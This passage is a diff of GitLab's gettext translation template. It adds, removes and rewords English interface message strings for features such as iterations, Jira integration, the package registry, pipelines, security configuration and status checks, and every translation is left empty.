+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18397,6 +18715,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18430,13 +18754,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18460,7 +18784,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18535,6 +18859,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18550,10 +18877,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18640,7 +18967,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18688,6 +19015,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18703,6 +19042,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18796,6 +19138,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18829,6 +19174,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18856,9 +19204,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18895,6 +19264,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19138,18 +19510,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19321,6 +19687,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19357,6 +19729,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19852,7 +20227,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20110,6 +20485,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20197,6 +20575,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20392,6 +20773,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20443,9 +20827,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20734,10 +21115,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20839,6 +21220,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21013,10 +21397,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21274,6 +21658,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21406,6 +21796,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21433,6 +21826,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21601,9 +21997,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21703,9 +22096,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22054,7 +22444,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22081,6 +22471,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22294,6 +22687,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22624,6 +23020,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23005,7 +23404,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23104,7 +23503,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23170,6 +23569,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23197,6 +23599,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23239,6 +23644,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23260,6 +23668,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23311,9 +23722,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23323,6 +23743,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23338,6 +23761,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23383,6 +23809,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23395,12 +23824,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23497,7 +23920,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23512,6 +23935,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23563,6 +23989,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23698,6 +24127,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23776,6 +24208,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23830,6 +24265,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23896,6 +24379,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23953,6 +24439,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23974,6 +24463,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24028,6 +24520,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24058,9 +24553,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24358,9 +24850,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24397,6 +24895,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24406,6 +24907,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24439,9 +24943,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24469,6 +24970,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24625,6 +25129,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24979,7 +25486,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25237,6 +25744,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25390,9 +25900,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25867,9 +26374,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25921,12 +26425,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25939,6 +26437,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25951,9 +26452,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25969,10 +26467,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25981,9 +26479,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26731,9 +27226,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26743,6 +27235,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26842,7 +27337,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27076,9 +27571,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27094,6 +27586,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28045,6 +28540,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28633,16 +29140,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28657,6 +29173,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28669,6 +29188,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28681,10 +29203,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28693,6 +29215,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28747,6 +29272,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28765,9 +29293,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28789,9 +29314,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28960,6 +29482,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29026,6 +29551,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29260,6 +29788,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29413,9 +29944,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29650,9 +30178,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29893,6 +30418,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29986,6 +30517,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30223,6 +30757,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30529,6 +31066,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30544,10 +31084,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30769,18 +31312,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30814,9 +31396,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30871,6 +31450,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30976,6 +31558,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31087,6 +31672,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31111,6 +31699,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31222,42 +31813,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
